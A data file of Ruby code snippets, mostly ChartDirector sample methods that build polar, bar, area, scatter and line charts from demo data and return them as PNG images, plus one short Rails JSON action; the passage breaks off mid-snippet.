"def getchart()\n # The data for the chart\n data0 = [100, 100, 100, 100, 100]\n data1 = [90, 85, 85, 80, 70]\n data2 = [80, 65, 65, 75, 45]\n\n # The labels for the chart\n labels = [\"Population<*br*><*font=arial.ttf*>6 millions\",\n \"GDP<*br*><*font=arial.ttf*>120 billions\",\n \"Export<*br*><*font=arial.ttf*>25 billions\",\n \"Import<*br*><*font=arial.ttf*>24 billions\",\n \"Investments<*br*><*font=arial.ttf*>20 billions\"]\n\n # Create a PolarChart object of size 480 x 460 pixels. Set background color to\n # silver, with 1 pixel 3D border effect\n c = ChartDirector::PolarChart.new(480, 460, ChartDirector::silverColor(),\n 0x000000, 1)\n\n # Add a title to the chart using 15 pts Times Bold Italic font. The title text is\n # white (ffffff) on a deep green (008000) background\n c.addTitle(\"Economic Growth\", \"timesbi.ttf\", 15, 0xffffff).setBackground(0x008000)\n\n # Set plot area center at (240, 270), with 150 pixels radius\n c.setPlotArea(240, 270, 150)\n\n # Use 1 pixel width semi-transparent black (c0000000) lines as grid lines\n c.setGridColor(0xc0000000, 1, 0xc0000000, 1)\n\n # Add a legend box at top-center of plot area (240, 35) using horizontal layout.\n # Use 10 pts Arial Bold font, with silver background and 1 pixel 3D border effect.\n b = c.addLegend(240, 35, false, \"arialbd.ttf\", 10)\n b.setAlignment(ChartDirector::TopCenter)\n b.setBackground(ChartDirector::silverColor(), ChartDirector::Transparent, 1)\n\n # Add area layers of different colors to represent the data\n c.addAreaLayer(data0, 0xcc8880, \"Year 2004\")\n c.addAreaLayer(data1, 0xffd080, \"Year 1994\")\n c.addAreaLayer(data2, 0xa0bce0, \"Year 1984\")\n\n # Set the labels to the angular axis as spokes.\n c.angularAxis().setLabels(labels)\n\n # Set radial axis from 0 - 100 with a tick every 20 units\n c.radialAxis().setLinearScale(0, 100, 20)\n\n # Just show the radial axis as a grid line. Hide the axis labels by setting the\n # label color to Transparent\n c.radialAxis().setColors(0xc0000000, ChartDirector::Transparent)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The data for the bar chart\n data0 = [100, 125, 245, 147, 67]\n data1 = [85, 156, 179, 211, 123]\n data2 = [97, 87, 56, 267, 157]\n\n # The labels for the bar chart\n labels = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\"]\n\n # Create a XYChart object of size 500 x 320 pixels\n c = ChartDirector::XYChart.new(500, 320)\n\n # Set the plotarea at (100, 40) and of size 280 x 240 pixels\n c.setPlotArea(100, 40, 280, 240)\n\n # Add a legend box at (400, 100)\n c.addLegend(400, 100)\n\n # Add a title to the chart using 14 points Times Bold Itatic font\n c.addTitle(\"Weekday Network Load\", \"timesbi.ttf\", 14)\n\n # Add a title to the y axis. Draw the title upright (font angle = 0)\n c.yAxis().setTitle(\"Average\\nWorkload\\n(MBytes\\nPer Hour)\").setFontAngle(0)\n\n # Set the labels on the x axis\n c.xAxis().setLabels(labels)\n\n # Add a stacked bar layer and set the layer 3D depth to 8 pixels\n layer = c.addBarLayer2(ChartDirector::Stack, 8)\n\n # Add the three data sets to the bar layer\n layer.addDataSet(data0, 0xff8080, \"Server # 1\")\n layer.addDataSet(data1, 0x80ff80, \"Server # 2\")\n layer.addDataSet(data2, 0x8080ff, \"Server # 3\")\n\n # Enable bar label for the whole bar\n layer.setAggregateLabelStyle()\n\n # Enable bar label for each segment of the stacked bar\n layer.setDataLabelStyle()\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The data for the chart\n data = [100, 125, 260, 147, 67]\n labels = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\"]\n\n # Create a XYChart object of size 200 x 180 pixels\n c = ChartDirector::XYChart.new(200, 180)\n\n # Set the plot area at (30, 10) and of size 140 x 130 pixels\n c.setPlotArea(30, 10, 140, 130)\n\n # Ise log scale axis if required\n if params[\"img\"] == \"1\"\n c.yAxis().setLogScale3()\n end\n\n # Set the labels on the x axis\n c.xAxis().setLabels(labels)\n\n # Add a color bar layer using the given data. Use a 1 pixel 3D border for the\n # bars.\n c.addBarLayer3(data).setBorderColor(-1, 1)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The data for the area chart\n data = [3.0, 2.8, 4.0, 5.5, 7.5, 6.8, 5.4, 6.0, 5.0, 6.2, 7.5, 6.5, 7.5, 8.1, 6.0,\n 5.5, 5.3, 3.5, 5.0, 6.6, 5.6, 4.8, 5.2, 6.5, 6.2]\n\n # The labels for the area chart\n labels = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\",\n \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\"]\n\n # Create a XYChart object of size 300 x 180 pixels. Set the background to pale\n # yellow (0xffffa0) with a black border (0x0)\n c = ChartDirector::XYChart.new(300, 180, 0xffffa0, 0x000000)\n\n # Set the plotarea at (45, 35) and of size 240 x 120 pixels. Set the background to\n # white (0xffffff). Set both horizontal and vertical grid lines to black (&H0&)\n # dotted lines (pattern code 0x0103)\n c.setPlotArea(45, 35, 240, 120, 0xffffff, -1, -1, c.dashLineColor(0x000000,\n 0x000103), c.dashLineColor(0x000000, 0x000103))\n\n # Add a title to the chart using 10 pts Arial Bold font. Use a 1 x 2 bitmap\n # pattern as the background. Set the border to black (0x0).\n c.addTitle(\"Snow Percipitation (Dec 12)\", \"arialbd.ttf\", 10).setBackground(\n c.patternColor([0xb0b0f0, 0xe0e0ff], 2), 0x000000)\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"mm per hour\")\n\n # Set the labels on the x axis.\n c.xAxis().setLabels(labels)\n\n # Display 1 out of 3 labels on the x-axis.\n c.xAxis().setLabelStep(3)\n\n # Add an area layer to the chart\n layer = c.addAreaLayer()\n\n # Load a snow pattern from an external file \"snow.png\".\n snowPattern = c.patternColor2(File.dirname(__FILE__) + \"/snow.png\")\n\n # Add a data set to the area layer using the snow pattern as the fill color. Use\n # deep blue (0x0000ff) as the area border line color (&H0000ff&)\n layer.addDataSet(data).setDataColor(snowPattern, 0x0000ff)\n\n # Set the line width to 2 pixels to highlight the line\n layer.setLineWidth(2)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The data for the bar chart\n data0 = [44, 55, 100]\n data1 = [97, 87, 167]\n data2 = [156, 78, 147]\n data3 = [125, 118, 211]\n\n # The labels for the bar chart. The labels contains embedded images as icons.\n labels = [\"<*img=service.png*><*br*>Service\",\n \"<*img=software.png*><*br*>Software\", \"<*img=computer.png*><*br*>Hardware\"]\n\n # Create a XYChart object of size 600 x 350 pixels, using 0xe0e0ff as the\n # background color, 0xccccff as the border color, with 1 pixel 3D border effect.\n c = ChartDirector::XYChart.new(600, 350, 0xe0e0ff, 0xccccff, 1)\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Add a title to the chart using 14 points Times Bold Itatic font and light blue\n # (0x9999ff) as the background color\n c.addTitle(\"Business Results 2001 vs 2002\", \"timesbi.ttf\", 14).setBackground(\n 0x9999ff)\n\n # Set the plotarea at (60, 45) and of size 500 x 210 pixels, using white\n # (0xffffff) as the background\n c.setPlotArea(60, 45, 500, 210, 0xffffff)\n\n # Swap the x and y axes to create a horizontal bar chart\n c.swapXY()\n\n # Add a title to the y axis using 11 pt Times Bold Italic as font\n c.yAxis().setTitle(\"Revenue (millions)\", \"timesbi.ttf\", 11)\n\n # Set the labels on the x axis\n c.xAxis().setLabels(labels)\n\n # Disable x-axis ticks by setting the tick length to 0\n c.xAxis().setTickLength(0)\n\n # Add a stacked bar layer to the chart\n layer = c.addBarLayer2(ChartDirector::Stack)\n\n # Add the first two data sets to the chart as a stacked bar group\n layer.addDataGroup(\"2001\")\n layer.addDataSet(data0, 0xaaaaff, \"Local\")\n layer.addDataSet(data1, 0x6666ff, \"International\")\n\n # Add the remaining data sets to the chart as another stacked bar group\n layer.addDataGroup(\"2002\")\n layer.addDataSet(data2, 0xffaaaa, \"Local\")\n layer.addDataSet(data3, 0xff6666, \"International\")\n\n # Set the sub-bar gap to 0, so there is no gap between stacked bars with a group\n layer.setBarGap(0.2, 0)\n\n # Set the bar border to transparent\n layer.setBorderColor(ChartDirector::Transparent)\n\n # Set the aggregate label format\n layer.setAggregateLabelFormat(\"Year {dataGroupName}\\n{value} millions\")\n\n # Set the aggregate label font to 8 point Arial Bold Italic\n layer.setAggregateLabelStyle(\"arialbi.ttf\", 8)\n\n # Reverse 20% space at the right during auto-scaling to allow space for the\n # aggregate bar labels\n c.yAxis().setAutoScale(0.2)\n\n # Add a legend box at (310, 300) using TopCenter alignment, with 2 column grid\n # layout, and use 8 pts Arial Bold Italic as font\n legendBox = c.addLegend2(310, 300, 2, \"arialbi.ttf\", 8)\n legendBox.setAlignment(ChartDirector::TopCenter)\n\n # Set the format of the text displayed in the legend box\n legendBox.setText(\"Year {dataGroupName} {dataSetName} Revenue\")\n\n # Set the background and border of the legend box to transparent\n legendBox.setBackground(ChartDirector::Transparent, ChartDirector::Transparent)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # Use random table to generate a random series. The random table is set to 1 col x\n # 51 rows, with 9 as the seed\n rantable = ChartDirector::RanTable.new(9, 1, 51)\n\n # Set the 1st column to start from 100, with changes between rows from -5 to +5\n rantable.setCol(0, 100, -5, 5)\n\n # Get the 1st column of the random table as the data set\n data = rantable.getCol(0)\n\n # Create a XYChart object of size 600 x 300 pixels\n c = ChartDirector::XYChart.new(600, 300)\n\n # Set the plotarea at (50, 35) and of size 500 x 240 pixels. Enable both the\n # horizontal and vertical grids by setting their colors to grey (0xc0c0c0)\n c.setPlotArea(50, 35, 500, 240).setGridColor(0xc0c0c0, 0xc0c0c0)\n\n # Add a title to the chart using 18 point Times Bold Itatic font.\n c.addTitle(\"LOWESS Generic Curve Fitting Algorithm\", \"timesbi.ttf\", 18)\n\n # Set the y axis line width to 3 pixels\n c.yAxis().setWidth(3)\n\n # Add a title to the x axis using 12 pts Arial Bold Italic font\n c.xAxis().setTitle(\"Server Load (TPS)\", \"arialbi.ttf\", 12)\n\n # Set the x axis line width to 3 pixels\n c.xAxis().setWidth(3)\n\n # Set the x axis scale from 0 - 50, with major tick every 5 units and minor tick\n # every 1 unit\n c.xAxis().setLinearScale(0, 50, 5, 1)\n\n # Add a blue layer to the chart\n layer = c.addLineLayer2()\n\n # Add a red (0x80ff0000) data set to the chart with square symbols\n layer.addDataSet(data, 0x80ff0000).setDataSymbol(ChartDirector::SquareSymbol)\n\n # Set the line width to 2 pixels\n layer.setLineWidth(2)\n\n # Use lowess for curve fitting, and plot the fitted data using a spline layer with\n # line width set to 3 pixels\n c.addSplineLayer(ChartDirector::ArrayMath.new(data).lowess().result(), 0x0000ff\n ).setLineWidth(3)\n\n # Set zero affinity to 0 to make sure the line is displayed in the most detail\n # scale\n c.yAxis().setAutoScale(0, 0, 0)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The data for the chart\n data0 = [90, 60, 85, 75, 55]\n data1 = [60, 80, 70, 80, 85]\n\n # The labels for the chart\n labels = [\"Speed\", \"Reliability\", \"Comfort\", \"Safety\", \"Efficiency\"]\n\n # Create a PolarChart object of size 480 x 380 pixels. Set background color to\n # gold, with 1 pixel 3D border effect\n c = ChartDirector::PolarChart.new(480, 380, ChartDirector::goldColor(), 0x000000,\n 1)\n\n # Add a title to the chart using 15 pts Times Bold Italic font. The title text is\n # white (ffffff) on a deep blue (000080) background\n c.addTitle(\"Space Travel Vehicles Compared\", \"timesbi.ttf\", 15, 0xffffff\n ).setBackground(0x000080)\n\n # Set plot area center at (240, 210), with 150 pixels radius, and a white (ffffff)\n # background.\n c.setPlotArea(240, 210, 150, 0xffffff)\n\n # Add a legend box at top right corner (470, 35) using 10 pts Arial Bold font. Set\n # the background to silver, with 1 pixel 3D border effect.\n b = c.addLegend(470, 35, true, \"arialbd.ttf\", 10)\n b.setAlignment(ChartDirector::TopRight)\n b.setBackground(ChartDirector::silverColor(), ChartDirector::Transparent, 1)\n\n # Add an area layer to the chart using semi-transparent blue (0x806666cc). Add a\n # blue (0x6666cc) line layer using the same data with 3 pixel line width to\n # highlight the border of the area.\n c.addAreaLayer(data0, 0x806666cc, \"Model Saturn\")\n c.addLineLayer(data0, 0x6666cc).setLineWidth(3)\n\n # Add an area layer to the chart using semi-transparent red (0x80cc6666). Add a\n # red (0xcc6666) line layer using the same data with 3 pixel line width to\n # highlight the border of the area.\n c.addAreaLayer(data1, 0x80cc6666, \"Model Jupiter\")\n c.addLineLayer(data1, 0xcc6666).setLineWidth(3)\n\n # Set the labels to the angular axis as spokes.\n c.angularAxis().setLabels(labels)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The data for the bar chart\n data = [450, 560, 630, 800, 1100, 1350, 1600, 1950, 2300, 2700]\n\n # The labels for the bar chart\n labels = [\"1996\", \"1997\", \"1998\", \"1999\", \"2000\", \"2001\", \"2002\", \"2003\", \"2004\",\n \"2005\"]\n\n # Create a XYChart object of size 600 x 360 pixels\n c = ChartDirector::XYChart.new(600, 360)\n\n # Add a title to the chart using 18pts Times Bold Italic font\n c.addTitle(\"Annual Revenue for Star Tech\", \"timesbi.ttf\", 18)\n\n # Set the plotarea at (60, 40) and of size 500 x 280 pixels. Use a vertical\n # gradient color from light blue (eeeeff) to deep blue (0000cc) as background. Set\n # border and grid lines to white (ffffff).\n c.setPlotArea(60, 40, 500, 280, c.linearGradientColor(60, 40, 60, 280, 0xeeeeff,\n 0x0000cc), -1, 0xffffff, 0xffffff)\n\n # Add a multi-color bar chart layer using the supplied data. Use soft lighting\n # effect with light direction from left.\n c.addBarLayer3(data).setBorderColor(ChartDirector::Transparent,\n ChartDirector::softLighting(ChartDirector::Left))\n\n # Set x axis labels using the given labels\n c.xAxis().setLabels(labels)\n\n # Draw the ticks between label positions (instead of at label positions)\n c.xAxis().setTickOffset(0.5)\n\n # Add a title to the y axis with 10pts Arial Bold font\n c.yAxis().setTitle(\"USD (millions)\", \"arialbd.ttf\", 10)\n\n # Set axis label style to 8pts Arial Bold\n c.xAxis().setLabelStyle(\"arialbd.ttf\", 8)\n c.yAxis().setLabelStyle(\"arialbd.ttf\", 8)\n\n # Set axis line width to 2 pixels\n c.xAxis().setWidth(2)\n c.yAxis().setWidth(2)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The XY data of the first data series\n dataX0 = [50, 55, 37, 24, 42, 49, 63, 72, 83, 59]\n dataY0 = [3.6, 2.8, 2.5, 2.3, 3.8, 3.0, 3.8, 5.0, 6.0, 3.3]\n\n # The XY data of the second data series\n dataX1 = [50, 55, 37, 24, 42, 49, 63, 72, 83, 59]\n dataY1 = [1.6, 1.8, 0.8, 0.5, 1.3, 1.5, 2.3, 2.4, 2.9, 1.5]\n\n # Create a XYChart object of size 450 x 420 pixels\n c = ChartDirector::XYChart.new(450, 420)\n\n # Set the plotarea at (55, 65) and of size 350 x 300 pixels, with white background\n # and a light grey border (0xc0c0c0). Turn on both horizontal and vertical grid\n # lines with light grey color (0xc0c0c0)\n c.setPlotArea(55, 65, 350, 300, 0xffffff, -1, 0xc0c0c0, 0xc0c0c0, -1)\n\n # Add a legend box at (50, 30) (top of the chart) with horizontal layout. Use 12\n # pts Times Bold Italic font. Set the background and border color to Transparent.\n c.addLegend(50, 30, false, \"timesbi.ttf\", 12).setBackground(\n ChartDirector::Transparent)\n\n # Add a title to the chart using 18 point Times Bold Itatic font.\n c.addTitle(\"Server Performance\", \"timesbi.ttf\", 18)\n\n # Add titles to the axes using 12 pts Arial Bold Italic font\n c.yAxis().setTitle(\"Response Time (sec)\", \"arialbi.ttf\", 12)\n c.xAxis().setTitle(\"Server Load (TPS)\", \"arialbi.ttf\", 12)\n\n # Set the axes line width to 3 pixels\n c.yAxis().setWidth(3)\n c.xAxis().setWidth(3)\n\n # Add a scatter layer using (dataX0, dataY0)\n c.addScatterLayer(dataX0, dataY0, \"Server AAA\", ChartDirector::DiamondSymbol, 11,\n 0x008000)\n\n # Add a trend line layer for (dataX0, dataY0)\n c.addTrendLayer2(dataX0, dataY0, 0x008000).setLineWidth(3)\n\n # Add a scatter layer for (dataX1, dataY1)\n c.addScatterLayer(dataX1, dataY1, \"Server BBB\", ChartDirector::TriangleSymbol, 9,\n 0x6666ff)\n\n # Add a trend line layer for (dataX1, dataY1)\n c.addTrendLayer2(dataX1, dataY1, 0x6666ff).setLineWidth(3)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The (x, y) data for the first line\n dataX0 = [20, 90, 40, 30, 12]\n dataY0 = [10, 40, 75, 54, 20]\n\n # The (x, y) data for the second line\n dataX1 = [10, 40, 75, 54, 60]\n dataY1 = [50, 90, 40, 30, 10]\n\n # Create a XYChart object of size 450 x 450 pixels\n c = ChartDirector::XYChart.new(450, 450)\n\n # Set the plotarea at (55, 65) and of size 350 x 300 pixels, with white background\n # and a light grey border (0xc0c0c0). Turn on both horizontal and vertical grid\n # lines with light grey color (0xc0c0c0)\n c.setPlotArea(55, 65, 350, 300, 0xffffff, -1, 0xc0c0c0, 0xc0c0c0, -1)\n\n # Add a legend box at (50, 30) (top of the chart) with horizontal layout. Use 12\n # pts Times Bold Italic font. Set the background and border color to Transparent.\n c.addLegend(50, 30, false, \"timesbi.ttf\", 12).setBackground(\n ChartDirector::Transparent)\n\n # Add a title to the chart using 18 pts Times Bold Itatic font\n c.addTitle(\"Reaction Path\", \"timesbi.ttf\", 18)\n\n # Add a title to the y axis using 12 pts Arial Bold Italic font\n c.yAxis().setTitle(\"Temperature (Celcius)\", \"arialbi.ttf\", 12)\n\n # Set the y axis line width to 3 pixels\n c.yAxis().setWidth(3)\n\n # Add a title to the x axis using 12 pts Arial Bold Italic font\n c.xAxis().setTitle(\"Pressure (Pa)\", \"arialbi.ttf\", 12)\n\n # Set the x axis line width to 3 pixels\n c.xAxis().setWidth(3)\n\n # Add a red (0xff3333) line layer using dataX0 and dataY0\n layer1 = c.addLineLayer(dataY0, 0xff3333, \"Compound AAA\")\n layer1.setXData(dataX0)\n\n # Set the line width to 3 pixels\n layer1.setLineWidth(3)\n\n # Use 9 pixel square symbols for the data points\n layer1.getDataSet(0).setDataSymbol(ChartDirector::SquareSymbol, 9)\n\n # Add custom text labels to the first and last point on the scatter plot using\n # Arial Bold font\n layer1.addCustomDataLabel(0, 0, \"Start\", \"arialbd.ttf\")\n layer1.addCustomDataLabel(0, 4, \"End\", \"arialbd.ttf\")\n\n # Add a green (0x33ff33) line layer using dataX1 and dataY1\n layer2 = c.addLineLayer(dataY1, 0x33ff33, \"Compound BBB\")\n layer2.setXData(dataX1)\n\n # Set the line width to 3 pixels\n layer2.setLineWidth(3)\n\n # Use 11 pixel diamond symbols for the data points\n layer2.getDataSet(0).setDataSymbol(ChartDirector::DiamondSymbol, 11)\n\n # Add custom text labels to the first and last point on the scatter plot using\n # Arial Bold font\n layer2.addCustomDataLabel(0, 0, \"Start\", \"arialbd.ttf\")\n layer2.addCustomDataLabel(0, 4, \"End\", \"arialbd.ttf\")\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The data for the line chart\n data0 = [410, 420, 500, 590]\n data1 = [500, 370, 680, 850]\n labels = [\"Q1\", \"Q2\", \"Q3\", \"Q4\"]\n\n # Create a XYChart object of size 600 x 400 pixels\n c = ChartDirector::XYChart.new(600, 400)\n\n # Add a title to the chart using 18 pts Times Bold Italic font\n title = c.addTitle(\"Product Line Global Revenue\", \"timesbi.ttf\", 18)\n\n # Tentatively set the plotarea at (50, 55) and of (chart_width - 100) x\n # (chart_height - 150) pixels in size. Use a vertical gradient color from sky blue\n # (aaccff) t0 light blue (f9f9ff) as background. Set both horizontal and vertical\n # grid lines to dotted semi-transprent black (aa000000).\n plotArea = c.setPlotArea(50, 55, c.getWidth() - 100, c.getHeight() - 150,\n c.linearGradientColor(0, 55, 0, 55 + c.getHeight() - 150, 0xaaccff, 0xf9fcff),\n -1, -1, c.dashLineColor(0xaa000000, ChartDirector::DotLine), -1)\n\n # Set y-axis title using 12 points Arial Bold Italic font, and set its position 10\n # pixels from the axis.\n c.yAxis().setTitle(\"Revenue (USD millions)\", \"arialbi.ttf\", 12)\n c.yAxis().setTitlePos(ChartDirector::Left, 10)\n\n # Set y-axis label style to 10 points Arial Bold and axis color to transparent\n c.yAxis().setLabelStyle(\"arialbd.ttf\", 10)\n c.yAxis().setColors(ChartDirector::Transparent)\n\n # Set y-axis tick density to 30 pixels. ChartDirector auto-scaling will use this\n # as the guideline when putting ticks on the y-axis.\n c.yAxis().setTickDensity(30)\n\n # Add a bar layer to the chart with side layout\n layer = c.addBarLayer2(ChartDirector::Side)\n\n # Add two data sets to the bar layer\n layer.addDataSet(data0, 0xff6600, \"FY 2007\")\n layer.addDataSet(data1, 0x0088ff, \"FY 2008\")\n\n # Use soft lighting effect with light direction from the left\n layer.setBorderColor(ChartDirector::Transparent, ChartDirector::softLighting(\n ChartDirector::Left))\n\n # Set the x axis labels\n c.xAxis().setLabels(labels)\n\n # Convert the labels on the x-axis to a CDMLTable\n table = c.xAxis().makeLabelTable()\n\n # Set the default left/right margins to 5 pixels and top/bottom margins to 3\n # pixels. Set the default font size to 10 points\n cellStyle = table.getStyle()\n cellStyle.setMargin2(5, 5, 4, 3)\n cellStyle.setFontSize(10)\n\n # Set the first row to use Arial Bold font, with a light grey (eeeeee) background.\n firstRowStyle = table.getRowStyle(0)\n firstRowStyle.setFontStyle(\"arialbd.ttf\")\n firstRowStyle.setBackground(0xeeeeee, ChartDirector::LineColor)\n\n #\n # We can add more information to the table. In this sample code, we add the data\n # series and the legend icons to the table.\n #\n\n # Add 3 more rows to the table. Set the background of the 2nd row to light grey\n # (eeeeee).\n table.appendRow()\n table.appendRow().setBackground(0xeeeeee, ChartDirector::LineColor)\n table.appendRow()\n\n # Put the values of the 2 data series in the first 2 rows. Put the percentage\n # differences in the 3rd row.\n 0.upto(data0.length - 1) do |i|\n table.setText(i, 1, (data0[i]).to_s)\n table.setText(i, 2, (data1[i]).to_s)\n\n percentageDiff = 100.0 * (data1[i] - data0[i]) / data0[i]\n\n # Use red or green color depending on whether the difference is positive or\n # negative\n formatString = \"<*color=008800*>+{value|1}%\"\n if percentageDiff < 0\n formatString = \"<*color=cc0000*>{value|1}%\"\n end\n table.setText(i, 3, c.formatValue(percentageDiff, formatString))\n end\n\n # Insert a column on the left for the legend icons using Arial Bold font.\n table.insertCol(0).setFontStyle(\"arialbd.ttf\")\n\n # The top cell is set to transparent, so it is invisible\n table.getCell(0, 0).setBackground(ChartDirector::Transparent,\n ChartDirector::Transparent)\n\n # The next 2 cells are set to the legend icons and names of the 2 data series\n table.setText(0, 1, sprintf(\"%s FY 2007\", layer.getLegendIcon(0)))\n table.setText(0, 2, sprintf(\"%s FY 2008\", layer.getLegendIcon(1)))\n\n # The last cell is set to \"Change\"\n table.setText(0, 3, \"Change\")\n\n # Append a column on the right for the total values.\n table.appendCol()\n\n # Put \"Total\" in the top cell as the heading of this column\n table.setText(table.getColCount() - 1, 0, \"Total\")\n\n # The next two cells are the total of the data series\n total0 = ChartDirector::ArrayMath.new(data0).sum()\n total1 = ChartDirector::ArrayMath.new(data1).sum()\n table.setText(table.getColCount() - 1, 1, total0.to_s)\n table.setText(table.getColCount() - 1, 2, total1.to_s)\n\n # The last cell is the percentage differences of the total\n totalPercentageDiff = (total1 - total0) / total0 * 100\n\n # Use red or green color depending on whether the difference is positive or\n # negative\n totalFormatString = \"<*color=008800*>+{value|1}%\"\n if totalPercentageDiff < 0\n totalFormatString = \"<*color=cc0000*>{value|1}%\"\n end\n table.setText(table.getColCount() - 1, 3, c.formatValue(totalPercentageDiff,\n totalFormatString))\n\n #\n # We now demonstrate how to adjust the plot area positions, to allow space for the\n # newly inserted left and right columns in the table.\n #\n\n # We layout the axis first in order to get the axis metrics (including table\n # metrics)\n c.layoutAxes()\n\n # If the first column is wider than the left y-axis, we need to reserve for some\n # left margin to ensure the first column stays within the chart.\n leftMargin = 0\n if table.getColWidth(0) > c.yAxis().getThickness()\n leftMargin = table.getColWidth(0) - c.yAxis().getThickness()\n end\n\n # Similarly, we need to reserve some right margin for the last column\n rightMargin = table.getColWidth(table.getColCount() - 1)\n\n # Adjust the plot area size, such that the bounding box (inclusive of axes) using\n # the given left and right margin, plus 2 more pixels. Put the plot area 10 pixels\n # below the title and use 2 pixels as the bottom margin. from the left, right and\n # bottom edge, and is just under the legend box.\n c.packPlotArea(leftMargin + 2, title.getHeight() + 10, c.getWidth(\n ) - 3 - rightMargin, c.getHeight() - 3)\n\n # After determining the exact plot area position, we may adjust title position so\n # that it is centered relative to the plot area (instead of the chart)\n title.setPos(plotArea.getLeftX() + (plotArea.getWidth() - title.getWidth()) / 2,\n title.getTopY())\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The data for the bar chart\n data0 = [100, 125, 245, 147, 67]\n data1 = [85, 156, 179, 211, 123]\n data2 = [97, 87, 56, 267, 157]\n labels = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\"]\n\n # Create a XYChart object of size 400 x 240 pixels\n c = ChartDirector::XYChart.new(400, 240)\n\n # Add a title to the chart using 10 pt Arial font\n c.addTitle(\" Average Weekday Network Load\", \"\", 10)\n\n # Set the plot area at (50, 25) and of size 320 x 180. Use two alternative\n # background colors (0xffffc0 and 0xffffe0)\n c.setPlotArea(50, 25, 320, 180, 0xffffc0, 0xffffe0)\n\n # Add a legend box at (55, 18) using horizontal layout. Use 8 pt Arial font, with\n # transparent background\n c.addLegend(55, 18, false, \"\", 8).setBackground(ChartDirector::Transparent)\n\n # Add a title to the y-axis\n c.yAxis().setTitle(\"Throughput (MBytes Per Hour)\")\n\n # Reserve 20 pixels at the top of the y-axis for the legend box\n c.yAxis().setTopMargin(20)\n\n # Set the x axis labels\n c.xAxis().setLabels(labels)\n\n # Add a multi-bar layer with 3 data sets and 3 pixels 3D depth\n layer = c.addBarLayer2(ChartDirector::Side, 3)\n layer.addDataSet(data0, 0xff8080, \"Server #1\")\n layer.addDataSet(data1, 0x80ff80, \"Server #2\")\n layer.addDataSet(data2, 0x8080ff, \"Server #3\")\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def show\n if valid_chart?\n render status: :ok,\n json: { success: true, data: Metrics.new(chart, metadata).render }.to_json\n else\n render json: { success: false, error: 'Chart not found.' }\n end\n end",
"def getchart()\n # The data for the chart\n dataY0 = [4, 4.5, 5, 5.25, 5.75, 5.25, 5, 4.5, 4, 3, 2.5, 2.5]\n dataX0 = [Time.mktime(1997, 1, 1), Time.mktime(1998, 6, 25), Time.mktime(1999, 9,\n 6), Time.mktime(2000, 2, 6), Time.mktime(2000, 9, 21), Time.mktime(2001, 3, 4\n ), Time.mktime(2001, 6, 8), Time.mktime(2002, 2, 4), Time.mktime(2002, 5, 19),\n Time.mktime(2002, 8, 16), Time.mktime(2002, 12, 1), Time.mktime(2003, 1, 1)]\n\n dataY1 = [7, 6.5, 6, 5, 6.5, 7, 6, 5.5, 5, 4, 3.5, 3.5]\n dataX1 = [Time.mktime(1997, 1, 1), Time.mktime(1997, 7, 1), Time.mktime(1997, 12,\n 1), Time.mktime(1999, 1, 15), Time.mktime(1999, 6, 9), Time.mktime(2000, 3, 3\n ), Time.mktime(2000, 8, 13), Time.mktime(2001, 5, 5), Time.mktime(2001, 9, 16\n ), Time.mktime(2002, 3, 16), Time.mktime(2002, 6, 1), Time.mktime(2003, 1, 1)]\n\n # Create a XYChart object of size 500 x 270 pixels, with a pale blue (e0e0ff)\n # background, black border, 1 pixel 3D border effect and rounded corners\n c = ChartDirector::XYChart.new(600, 300, 0xe0e0ff, 0x000000, 1)\n c.setRoundedFrame()\n\n # Set the plotarea at (55, 60) and of size 520 x 200 pixels, with white (ffffff)\n # background. Set horizontal and vertical grid lines to grey (cccccc).\n c.setPlotArea(50, 60, 525, 200, 0xffffff, -1, -1, 0xcccccc, 0xcccccc)\n\n # Add a legend box at (55, 32) (top of the chart) with horizontal layout. Use 9\n # pts Arial Bold font. Set the background and border color to Transparent.\n c.addLegend(55, 32, false, \"arialbd.ttf\", 9).setBackground(\n ChartDirector::Transparent)\n\n # Add a title box to the chart using 15 pts Times Bold Italic font. The text is\n # white (ffffff) on a deep blue (000088) background, with soft lighting effect\n # from the right side.\n c.addTitle(\"Long Term Interest Rates\", \"timesbi.ttf\", 15, 0xffffff).setBackground(\n 0x000088, -1, ChartDirector::softLighting(ChartDirector::Right))\n\n # Set the y axis label format to display a percentage sign\n c.yAxis().setLabelFormat(\"{value}%\")\n\n # Add a red (ff0000) step line layer to the chart and set the line width to 2\n # pixels\n layer0 = c.addStepLineLayer(dataY0, 0xff0000, \"Country AAA\")\n 